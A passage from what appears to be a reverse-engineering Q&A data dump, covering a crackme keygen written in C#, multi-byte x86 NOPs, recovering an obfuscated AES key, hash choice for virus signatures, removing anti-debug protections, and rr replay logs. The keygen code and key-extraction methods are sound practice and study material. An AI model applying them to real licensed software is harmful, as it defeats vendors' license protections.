}&#xA;    streamReader.Close();&#xA;    fileStream.Close();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the CodeCrypt method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Key = &quot;AoRE&quot;;&#xA;public string CodeCrypt(string text)&#xA;{&#xA;    string text2 = &quot;&quot;;&#xA;    int arg_0F_0 = 1;&#xA;    int num = Strings.Len(text);&#xA;    checked&#xA;    {&#xA;        for (int i = arg_0F_0; i &amp;lt;= num; i++)&#xA;        {&#xA;            int num2 = i % Strings.Len(this.Key);&#xA;            if (num2 == 0)&#xA;            {&#xA;                num2 = Strings.Len(this.Key);&#xA;            }&#xA;            text2 += Conversions.ToString(Strings.Chr(Strings.Asc(Strings.Mid(this.Key, num2, 1)) ^ Strings.Asc(Strings.Mid(text, i, 1)) - 6));&#xA;        }&#xA;        return text2;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seemed quite straight forward to reverse, so I generated my own key generation method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    private static string Key(string name)&#xA;    {&#xA;        string key = &quot;&quot;;&#xA;&#xA;        SHA512 sHA = new SHA512Managed();&#xA;        string hash = Convert.ToBase64String(sHA.ComputeHash(Encoding.Unicode.GetBytes(name)));&#xA;&#xA;&#xA;        for (int i = 1; i &amp;lt;= hash.Length; i++)&#xA;        {&#xA;            int num2 = i % 4;&#xA;            if (num2 == 0)&#xA;            {&#xA;                num2 = 4;&#xA;            }&#xA;            var test = Convert.ToChar((&quot;AoRE&quot;[num2 - 1] ^ hash[i - 1]) + 6);&#xA;            key += test;&#xA;        }&#xA;        return key;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I wrote my license:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; using (StreamWriter sw = new StreamWriter(File.Open(&quot;key.dat&quot;, FileMode.Create), Encoding.Unicode))&#xA;        sw.Write(Key(&quot;Tom&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it fails. I set a breakpoint to see what the output from CodeCrypt() and the SHA512 hash was, and saw this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CodeCrypt: 8dmVQYHqap7MbFngePjLSxvaC9&lt;strong&gt;k&lt;/strong&gt;VgaDiyR2p550IFO2kzGAuC9yWufBs5LZGbKeR/KAFGVTBb47z4sa686eBTA==&#xA;SHA512: 8dmVQYHqap7MbFngePjLSxvaC9/VgaDiyR2p550IFO2kzGAuC9yWufBs5LZGbKeR/KAFGVTBb47z4sa686eBTA==&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 27th character differs in these outputs and I just don't understand why. What am I missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="15002" LastEditorUserId="15002" LastEditDate="2016-02-08T21:59:42.213" LastActivityDate="2016-02-09T15:20:40.400" Title="KeygenMe - My output has one wrong character" Tags="|decompilation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11971" PostTypeId="1" CreationDate="2016-02-08T20:25:33.560" Score="11" ViewCount="14573" Body="&lt;p&gt;A program I'm investigating has the following code (disassembled by IDA with some light censorship by me):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__text:....B9                 call    &amp;lt;redacted&amp;gt;&#xA;__text:....BE                 nop&#xA;__text:....BF                 nop     dword ptr [rax+00h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have two questions. First, why would the compiler have inserted these &lt;code&gt;nop&lt;/code&gt;s? They don't appear to be for any alignment purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, what is that &lt;code&gt;nop&lt;/code&gt; with a relative addressing argument? Its hex is &lt;code&gt;0F 1F 40 00&lt;/code&gt;. Looking at &lt;a href=&quot;http://ref.x86asm.net/&quot; rel=&quot;noreferrer&quot;&gt;http://ref.x86asm.net/&lt;/a&gt;, this does appear to be an instruction called &quot;hintable NOP&quot;, but I'm having trouble finding relevant information about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the next instruction starts at &lt;code&gt;....C3&lt;/code&gt; and is a real/productive instruction (that is, not a &lt;code&gt;nop&lt;/code&gt; or anything morally equivalent to a &lt;code&gt;nop&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="14287" LastActivityDate="2017-12-31T14:50:03.070" Title="nop with argument in x86_64" Tags="|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11972" PostTypeId="2" ParentId="11969" CreationDate="2016-02-08T22:54:23.913" Score="8" Body="&lt;p&gt;Your algorithm calculates the correct byte for each character of the base64 encoded hash, however your implementation of that byte's string encoding is not correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Convert.ToChar()&lt;/code&gt; simply casts the byte to a char.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VB's &lt;code&gt;Strings.Chr()&lt;/code&gt; converts the byte to unicode, using the system's current default code page. This is most likely Windows-1252 for US/Western Europe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bytes &lt;code&gt;0x00-0x7F&lt;/code&gt;, UTF-8 and Windows-1252 have the same binary representation. But things are different for bytes 0x80-0xFF, and it just so happens that the / character is the only character XOR'd to a value greater than 0x7F (it's 0x83).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windows-1252, 0x80-0xFF represent single-byte extended characters.&#xA;In UTF-8, these extended characters require two bytes of storage: 0x01 0x92.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the crackme is buggy, because the license file depends on the system's character encoding (which could change).  The license file should have used unicode consistently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix your code, replace &lt;code&gt;Convert.ToChar()&lt;/code&gt; with &lt;code&gt;Encoding.Default.GetString()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var test = Encoding.Default.GetString(&#xA;               new[] { (byte)((&quot;AoRE&quot;[num2 - 1] ^ hash[i - 1]) + 6) });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited to add&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I want to point out is that a char in C# is 2 bytes and stores a 16-bit unicode character (unlike C where a char is 1 byte). This is why casting and using the default encoding are different operations.&lt;/p&gt;&#xA;" OwnerUserId="14495" LastEditorUserId="14495" LastEditDate="2016-02-09T15:20:40.400" LastActivityDate="2016-02-09T15:20:40.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11973" PostTypeId="2" ParentId="11971" CreationDate="2016-02-09T07:56:35.873" Score="11" Body="&lt;p&gt;These are multi byte &lt;code&gt;nop&lt;/code&gt; instructions. &#xA;&lt;br&gt;From &lt;a href=&quot;http://www.felixcloutier.com/x86/NOP.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.felixcloutier.com/x86/NOP.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This instruction performs no operation. It is a one-byte or multi-byte&#xA;  NOP that takes up space in the instruction stream but does not impact&#xA;  machine context, except for the EIP register.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The multi-byte form of NOP is available on processors with model&#xA;  encoding:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The multi-byte NOP instruction does not alter the content of a&#xA;  register and will not issue a memory operation. The instruction’s&#xA;  operation is the same in non-64-bit modes and 64-bit mode.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Operation&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The one-byte NOP instruction is an alias mnemonic for the XCHG (E)AX,&#xA;  (E)AX instruction.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The multi-byte NOP instruction performs no operation on supported&#xA;  processors and generates undefined opcode exception on processors that&#xA;  do not support the multi-byte NOP instruction.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The memory operand form of the instruction allows software to create a&#xA;  byte sequence of “no operation” as one instruction. For situations&#xA;  where multiple-byte NOPs are needed, the recommended operations&#xA;  (32-bit mode and 64-bit mode) are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+---------+--------------------------------+------------------------------+&#xA;| LENGTH  |           ASSEMBLY             |         BYTE SEQUENCE        |&#xA;+---------+--------------------------------+------------------------------+&#xA;|         |                                |                              |&#xA;| 2 bytes |  66 NOP                        |  66 90H                      |&#xA;|         |                                |                              |&#xA;| 3 bytes |  NOP DWORD ptr [EAX]           |  0F 1F 00H                   |&#xA;|         |                                |                              |&#xA;| 4 bytes |  NOP DWORD ptr [EAX + 00H]     |  0F 1F 40 00H                |&#xA;|         |                                |                              |&#xA;| 5 bytes |  NOP DWORD ptr [EAX + EAX*1 +  |  0F 1F 44 00 00H             |&#xA;|         | 00H]                           |                              |&#xA;|         |                                |                              |&#xA;| 6 bytes |  66 NOP DWORD ptr [EAX + EAX*1 |  66 0F 1F 44 00 00H          |&#xA;|         |  + 00H]                        |                              |&#xA;|         |                                |                              |&#xA;| 7 bytes |  NOP DWORD ptr [EAX + 00000000 |  0F 1F 80 00 00 00 00H       |&#xA;|         | H]                             |                              |&#xA;|         |                                |                              |&#xA;| 8 bytes |  NOP DWORD ptr [EAX + EAX*1 +  |  0F 1F 84 00 00 00 00 00H    |&#xA;|         | 00000000H]                     |                              |&#xA;|         |                                |                              |&#xA;| 9 bytes |  66 NOP DWORD ptr [EAX + EAX*1 |  66 0F 1F 84 00 00 00 00 00H |&#xA;|         |  + 00000000H]                  |                              |&#xA;+---------+--------------------------------+------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2016-02-09T08:01:57.843" LastActivityDate="2016-02-09T08:01:57.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11974" PostTypeId="1" AcceptedAnswerId="11986" CreationDate="2016-02-09T11:44:33.917" Score="0" ViewCount="96" Body="&lt;p&gt;I'm after a very simple example log file with corresponding code, that expresses exactly what would need to be recorded to enable deterministic replay - for the purpose of record/replay debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15005" LastActivityDate="2016-02-10T14:41:37.140" Title="Very simple example log file - Recording program execution" Tags="|debugging|" AnswerCount="1" CommentCount="0" ClosedDate="2016-02-10T16:45:08.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="11975" PostTypeId="1" CreationDate="2016-02-09T11:52:12.073" Score="5" ViewCount="1762" Body="&lt;p&gt;I have recently been sifting my way through a whole load of assembly to try to identify how a program is decrypting some data. Thus far I have identified how the IV is extracted, that the IV is 16 bytes long and that the decryption method uses Cipher Block Chaining. Consequently I believe that the encryption method being used is AES-128-CBC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step has been to try to identify the key being used to decrypt with, the issue is that the assembly for the individual block cipher encryption is about 2.5MB in size. However, what I have observed is that it is all of a very similar form, for example, a snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add.w      r0, r12, #0x13&#xA;str.w      r0, [lr, #0x44]&#xA;tst.w      r0, #0xff&#xA;mov        r0, r12&#xA;it         eq&#xA;eoreq      r0, r12, #0x75&#xA;&#xA;add.w      r1, r12, #0x5d&#xA;str.w      r1, [sp, #0xf00]&#xA;tst.w      r1, #0xff&#xA;it         eq&#xA;addeq      r0, #0x3b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;r12&lt;/code&gt; contains the encrypted data, loaded from a passed in argument (&lt;code&gt;r0&lt;/code&gt;) as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov        r4, r0&#xA;add.w      lr, sp, #0x1000&#xA;ldrb.w     r12, [r4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the assembly in the subroutine is of the exemplar form, some offset is added to the encrypted data, stored, tested against &lt;code&gt;0xff&lt;/code&gt; (&lt;strong&gt;always&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;0xff&lt;/code&gt;&lt;/strong&gt;) and then some operation is performed as a result, either XOR, OR, ADD or MOV affecting another register (in the examples that is &lt;code&gt;r0&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current hunch is that this may be an AES-128 implementation with unrolled rounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this look AES-128 to you and do you agree the encryption been deliberately obfuscated to hide the key? If so then how has it been obfuscated and would it be possible to find the key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!IQ5xVIgI!M4dY1QVWPC9fo6zW9aReTKbLMNz-QXbNsAghom6eL7Q&quot; rel=&quot;nofollow&quot;&gt;Here's a link&lt;/a&gt; to the full ASM file for the block cipher encryption subroutine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;https://gist.github.com/SquaredTiki/27f1c24c3f5b0f4743c0&quot; rel=&quot;nofollow&quot;&gt;this is a link&lt;/a&gt; to the subroutine that uses CBC and calls the above subroutine referenced in the main question.  &lt;/p&gt;&#xA;" OwnerUserId="15006" LastEditorUserId="15006" LastEditDate="2016-02-15T01:19:09.097" LastActivityDate="2016-02-15T13:19:57.650" Title="Obfuscated AES decryption assembly" Tags="|assembly|obfuscation|arm|encryption|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11976" PostTypeId="1" CreationDate="2016-02-09T13:01:43.450" Score="3" ViewCount="3514" Body="&lt;p&gt;Is it a good way to create Virus signature in MD5 or it is better in SHA1 or SHA256 and why it is?  &lt;/p&gt;&#xA;" OwnerUserId="15007" LastActivityDate="2016-04-22T01:12:56.203" Title="Is MD5 hashing of files a valid method of creating an anti-virus program?" Tags="|security|hash-functions|malware|" AnswerCount="8" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11977" PostTypeId="2" ParentId="11976" CreationDate="2016-02-09T13:17:13.060" Score="3" Body="&lt;p&gt;This &lt;a href=&quot;https://blog.silentsignal.eu/2015/06/10/poisonous-md5-wolves-among-the-sheep&quot; rel=&quot;nofollow&quot;&gt;paper&lt;/a&gt; shows why it is not the best choice using MD5 for virus signatures. You should avoid SHA-1 also, because &lt;a href=&quot;https://www.schneier.com/blog/archives/2015/10/sha-1_freestart.html&quot; rel=&quot;nofollow&quot;&gt;practical collision&lt;/a&gt; may be possible within years. So, consider using SHA-256 or SHA-3.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-02-09T13:17:13.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11980" PostTypeId="1" CreationDate="2016-02-09T21:15:43.377" Score="-1" ViewCount="894" Body="&lt;p&gt;I have several questions regarding reverse engineering of executable binaries (compiled machine code). Some of my questions are specific, other more open ended. In this thread I will only ask the specific questions.&#xA;I will be thankful to anyone who helps me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) are the identifiers (procedure names, variable names, object names, etc.) somehow preserved in compiled machine code? If not, would reverse engineered code have identifiers which look something like var001, var002, proc001, proc002, etc? As a side note, I remember reading in an article that some security experts reverse engineered a trojan and found out that it had been written by someone whose language was Mandarin Chinese. Now I am wondering, could it be that the programmer used variable/procedure/object names in Mandarin Chinese and these were preserved in the machine code? Or how else could the researchers tell?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) are comments totally ignored during the compiling process? Or, again, could some comment text end up in the machine code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) when researchers find that a virus contains some signature intentionally left by its creator, do they mean humanly readable plaintext that can be seen with and hex editor? Or what else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) what compiled programming languages produce the most obfuscated (i.e. hard to reverse engineer) executables? Even more in detail, how does (Object)Pascal compare to C in this regard?&lt;/p&gt;&#xA;" OwnerUserId="15013" LastActivityDate="2016-02-11T17:17:46.993" Title="Reverse engineering of executable code" Tags="|decompilation|executable|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11981" PostTypeId="1" AcceptedAnswerId="11998" CreationDate="2016-02-09T22:47:25.430" Score="2" ViewCount="324" Body="&lt;p&gt;I always wondered how much time is needed to get rid of all that anti-VM/crypto/protector/anti-debug stuff (without analyzing actual payload and purpose), especially if you're dealing with malware on a daily basis? I would definitely like to get answer from AV industry experts.&lt;/p&gt;&#xA;" OwnerUserId="9820" LastActivityDate="2016-02-11T11:46:02.970" Title="What is the average time for &quot;defusing&quot; malware self-protection mechanisms?" Tags="|anti-debugging|malware|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11983" PostTypeId="2" ParentId="11730" CreationDate="2016-02-10T09:04:49.640" Score="0" Body="&lt;p&gt;I am afraid i can't comment yet so i will post my thought as an answer. I have also found myself working with visual studio(2010,2013,2015) and trying to reverse-engineer something I made. Visual studio has an option enabled that changes the original entry point of your program once compiled. That's why you get different addresses from both IDA and your cout function.&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2016-02-10T09:04:49.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11984" PostTypeId="2" ParentId="11328" CreationDate="2016-02-10T09:39:30.373" Score="1" Body="&lt;p&gt;I was able to find a blog which helped me configure Visual Studio 10 to develop my own tools. &lt;a href=&quot;http://reversingonwindows.blogspot.in/2013/06/sample-pintools-for-visual-studio.html?spref=pin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the link to blog&lt;/a&gt; . The steps mentioned are generalized. But one thing I observed was that few directory names were different in my Pin installation. So please keep in mind to update those names. For some weird reasons I had to add &quot;\LIBPATH:(path to additional library directories)&quot; variable to Command Line Linker Options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in the beginning of each cpp file mention &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;#define _SECURE_SCL 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One common error you may face is &quot;&lt;strong&gt;Error:LNK1104:Cannot open file*&lt;/strong&gt; **&quot;. You can refer to &lt;a href=&quot;https://stackoverflow.com/questions/133698/why-does-fatal-error-lnk1104-cannot-open-file-c-program-obj-occur-when-i-c&quot;&gt;this link&lt;/a&gt; to solve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: To execute the PIN tool:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build the solution in &lt;strong&gt;Release&lt;/strong&gt; configuration. I have extracted PIN inside my solution directory itself. Go to directory where &lt;strong&gt;pin.exe&lt;/strong&gt; exists. Execute command in below format in command prompt:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;pin -t [location (with file name) of solution DLL in release direcroty] -- [location (with file name) of application to execute]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this will be helpful for anyone facing this issue in future.&lt;/p&gt;&#xA;" OwnerUserId="13106" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-02-11T12:17:06.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11985" PostTypeId="2" ParentId="11328" CreationDate="2016-02-10T14:01:42.203" Score="3" Body="&lt;p&gt;The fastest and less cumbersome way I know is to make a copy of &lt;code&gt;MyPinTool&lt;/code&gt; directory (under &lt;code&gt;&amp;lt;pin dir&amp;gt;\source\tools\&lt;/code&gt; and overwrite the file &lt;code&gt;MyPinTool.cpp&lt;/code&gt; with your own code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the &lt;code&gt;MyPinTool.sln&lt;/code&gt; in Visual Studio and build your target. After that you can rename the DLL to whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not an elegant solution but it gets the job done. In the end, you want to spent your time writing your &lt;code&gt;PinTool&lt;/code&gt; and not annoyed with compiler specific settings...&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2016-02-10T14:01:42.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11986" PostTypeId="2" ParentId="11974" CreationDate="2016-02-10T14:41:37.140" Score="1" Body="&lt;p&gt;I'm not quite sure what you're after – the &lt;em&gt;minimum&lt;/em&gt; you need to record for a given program to have a deterministic replay isn't well defined. In general, you choose some API boundary – for example, the system call interface, or some set of library calls, or even the interface between the OS and hardware – and then record there. Which API boundary you choose to record at will mean you have to record more or less information in order to guarantee deterministic replay; the question of how to find the API boundary that requires the least amount of storage has been explored in the paper &lt;a href=&quot;http://research.microsoft.com/pubs/138804/itarget_fse2010.pdf&quot; rel=&quot;nofollow&quot;&gt;Language-Based Replay via Data Flow Cut&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But perhaps you're after something more practical – an example of a simple program and its corresponding record/replay log. This is something you can get very easily with e.g. &lt;a href=&quot;https://github.com/mozilla/rr&quot; rel=&quot;nofollow&quot;&gt;Mozilla's rr&lt;/a&gt;. Suppose we have the following simple program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(int argc, char **argv) {&#xA;    printf(&quot;Hello world: %s\n&quot;, argv[1]);&#xA;    return 0;&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can then record it under &lt;code&gt;rr&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git/rr/bin/rr record ./hello foo&#xA;rr: Saving the execution of `./hello' to trace directory `/home/moyix/.rr/hello-1'.&#xA;Hello world: foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you can see the information that &lt;code&gt;rr&lt;/code&gt; captured using &lt;code&gt;rr dump&lt;/code&gt;; a selection of that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  global_time:177, event:`SYSCALL: rrcall_init_buffers' (state:EXITING_SYSCALL) tid:83791, ticks:42871&#xA; rax:0x7fa27fd0b000 rbx:0xfffffffffffffff8 rcx:0xffffffffffffffff rdx:0x0 rsi:0x0 rdi:0x7ffd504447f0 rbp:0x64 rsp:0x7ffd504447a0 r8:0x0 r9:0x0 r10:0x0 r11:0x246 r12:0x7ffd50444800 r13:0x7ffd504447f0 r14:0x1474f r15:0x0 rip:0x70000038 eflags:0x246 cs:0x33 ss:0x2b ds:0x0 es:0x0 fs:0x0 gs:0x0 orig_rax:0x1bb&#xA;}&#xA;{&#xA;  global_time:178, event:`SYSCALL: rt_sigprocmask' (state:ENTERING_SYSCALL) tid:83791, ticks:42872&#xA; rax:0xffffffffffffffda rbx:0xfffffffffffffff8 rcx:0xffffffffffffffff rdx:0x0 rsi:0x7ffd50444800 rdi:0x2 rbp:0x64 rsp:0x7ffd504447a0 r8:0x0 r9:0x0 r10:0x8 r11:0x246 r12:0x7ffd50444800 r13:0x7ffd504447f0 r14:0x1474f r15:0x0 rip:0x70000038 eflags:0x246 cs:0x33 ss:0x2b ds:0x0 es:0x0 fs:0x0 gs:0x0 orig_rax:0xe&#xA;}&#xA;{&#xA;  global_time:179, event:`SYSCALL: rt_sigprocmask' (state:EXITING_SYSCALL) tid:83791, ticks:42872&#xA; rax:0x0 rbx:0xfffffffffffffff8 rcx:0xffffffffffffffff rdx:0x0 rsi:0x7ffd50444800 rdi:0x2 rbp:0x64 rsp:0x7ffd504447a0 r8:0x0 r9:0x0 r10:0x8 r11:0x246 r12:0x7ffd50444800 r13:0x7ffd504447f0 r14:0x1474f r15:0x0 rip:0x70000038 eflags:0x246 cs:0x33 ss:0x2b ds:0x0 es:0x0 fs:0x0 gs:0x0 orig_rax:0xe&#xA;}&#xA;{&#xA;  global_time:180, event:`PATCH_SYSCALL' tid:83791, ticks:43212&#xA;  { map_file:&quot;&quot;, addr:0x7fa27fc2c000, length:0x1000, prot_flags:&quot;r-xp&quot;, file_offset:0x0 }&#xA;  { addr:0x7fa27fc2c000, length:0xe }&#xA;  { addr:0x7fa27f71ff82, length:0x5 }&#xA;  { addr:0x7fa27f71ff87, length:0x3 }&#xA;  { addr:0x7fa27f9f3349, length:0x3a }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also look at another recording interface, e.g. PANDA's. The &lt;code&gt;rr_print&lt;/code&gt; utility in PANDA can print out the log of nondeterministic events, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{guest_instr_count=4180 pc=0x8265a2c8, secondary=0x82743c28}&#xA;        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_1&#xA;{guest_instr_count=4180 pc=0x8265a2c8, secondary=0x82743c28}&#xA;        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_4&#xA;{guest_instr_count=4207 pc=0x8d0703f6, secondary=0x848f9818}&#xA;        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_1&#xA;{guest_instr_count=4207 pc=0x8d0703f6, secondary=0x848f9818}&#xA;        RR_INPUT_4 129 from RR_CALLSITE_CPU_EXEC_2&#xA;{guest_instr_count=4234 pc=0x83e3c35e, secondary=0x82750380}&#xA;        RR_INPUT_8 3094319282304 from RR_CALLSITE_RDTSC&#xA;{guest_instr_count=4451 pc=0x82a4809a, secondary=0x844318d0}&#xA;        RR_INPUT_4 61 from RR_CALLSITE_IOPORT_READ&#xA;{guest_instr_count=4844 pc=0x82a4809a, secondary=0x00000000}&#xA;        RR_INPUT_4 61 from RR_CALLSITE_IOPORT_READ&#xA;{guest_instr_count=4859 pc=0x82a4809a, secondary=0x00002ee0}&#xA;        RR_INPUT_4 129 from RR_CALLSITE_IOPORT_READ&#xA;{guest_instr_count=5576 pc=0x82655e7e, secondary=0x82746c00}&#xA;        RR_INPUT_8 3094319823647 from RR_CALLSITE_RDTSC&#xA;{guest_instr_count=5630 pc=0x82a34c86, secondary=0x82746c00}&#xA;        RR_INTERRUPT_REQUEST_2 from RR_CALLSITE_CPU_EXEC_1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you can clarify what you're looking I can likely give you a better answer here, though.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2016-02-10T14:41:37.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11987" PostTypeId="2" ParentId="11981" CreationDate="2016-02-10T15:04:47.213" Score="5" Body="&lt;p&gt;I work in AV industry for about a year now and I can tell you how I see this. How fast can you get rid of certain anti-reversing techniques depends on your experience and will to learn and understand as many of those techniques as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mostly work with PE packers and at the beginning I had problems with removing the most simple techniques like &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx&quot;&gt;IsDebuggerPresent()&lt;/a&gt;. Hell, I even remember one time when I spent a whole day of work just figuring out the &lt;a href=&quot;https://leons.im/posts/anti-debug-with-trap-flag-register/&quot;&gt;anti-debug with trap flag&lt;/a&gt; and &lt;em&gt;checksum check&lt;/em&gt; techniques. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, when I have some experience under my belt, I move around these common anti-reversing techniques quite fast. You can achieve that with the help of plugins for your tools (like &lt;a href=&quot;https://tuts4you.com/download.php?view.75&quot;&gt;Olly Advanced&lt;/a&gt; for &lt;a href=&quot;http://www.ollydbg.de/&quot;&gt;Ollydbg&lt;/a&gt;). One of the greatest (if not the greatest) piece of resource about this topic is Peter Ferries book &lt;a href=&quot;http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf&quot;&gt;The Ultimate Anti-Debugging Reference&lt;/a&gt;. Whenever I got stuck with some new anti-reversing technique, I consulted with that book and at the end found the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum things up, I am not an expert in the field and in the beginning it takes quite some time to get things done but it's like that in everything right? With enough practice and experience I'm sure you can avoid various anti-reversing techniques in a matter of minutes, but I would like if some of the more experienced users would back me up on this.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2016-02-10T15:04:47.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
